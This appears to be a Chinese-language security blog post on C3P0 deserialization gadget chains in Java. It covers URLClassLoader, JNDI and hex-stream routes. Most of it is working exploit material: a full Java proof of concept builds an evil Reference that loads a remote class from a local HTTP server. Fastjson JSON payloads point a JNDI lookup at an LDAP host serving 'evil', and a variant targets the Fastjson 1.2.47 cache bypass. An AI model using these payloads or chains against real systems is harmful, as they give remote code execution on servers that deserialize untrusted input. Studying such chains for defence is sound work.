1. 1. URLClassloader链
  2. 2. JDNI链
  3. 3. Hex流反序列化
  4. 4. 参考

URLClassloader链

1
2
3
4
5
利用链
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -> source点
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader) -> sink点 -> Class.forName加载类时执行恶意类中的静态代码块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Hashtable;
import java.util.logging.Logger;

public class C3P0_URLClassloader {

//重写getReference()方法,调用com.mchange.v2.naming.ReferenceIndirector#indirectForm()时返回的ref是攻击者自己构造的恶意ref
public static class evilRef implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("Attack", "Attack", "http://127.0.0.1:2333/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}
@Override
public void setLoginTimeout(int seconds) throws SQLException {

}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}


public static Object generateEvilObject(Object o) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSource();
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field connectionPoolDataSourceField = clazz.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase, o);
return poolBackedDataSourceBase;
}

public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Java代码审计/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Java代码审计/serialized.txt"));
objectInputStream.readObject();
}

public static void main(String[] args) throws Exception {
Object obj = generateEvilObject(new evilRef());
serialize(obj);
deserialize();
}
}

JDNI链

1
2
3
4
5
6
7
8
9
利用链
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
javax.naming.InitialContext#lookup(java.lang.String) -> sink点


给jndiName赋值
com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName

通过Fastjson调用两个setter方法实现赋值并调用

1
2
3
4
5
6
payload:
{
"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName":"ldap://192.168.43.95:8085/evil",
"loginTimeout":"8"
}

Hex流反序列化

也是结合Fastjson调用setter进行利用

1
2
3
4
5
6
7
利用链
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource()
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean)
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
java.io.ObjectInputStream#readObject -> sink点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload:
{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap + hex(序列化数据) +;"
}

fastjson 1.2.47
{
"1":{
"@type":"java.lang.Class",
"val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"2":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap + hex(序列化数据) +;"
}
}

参考

https://forum.butian.net/share/2868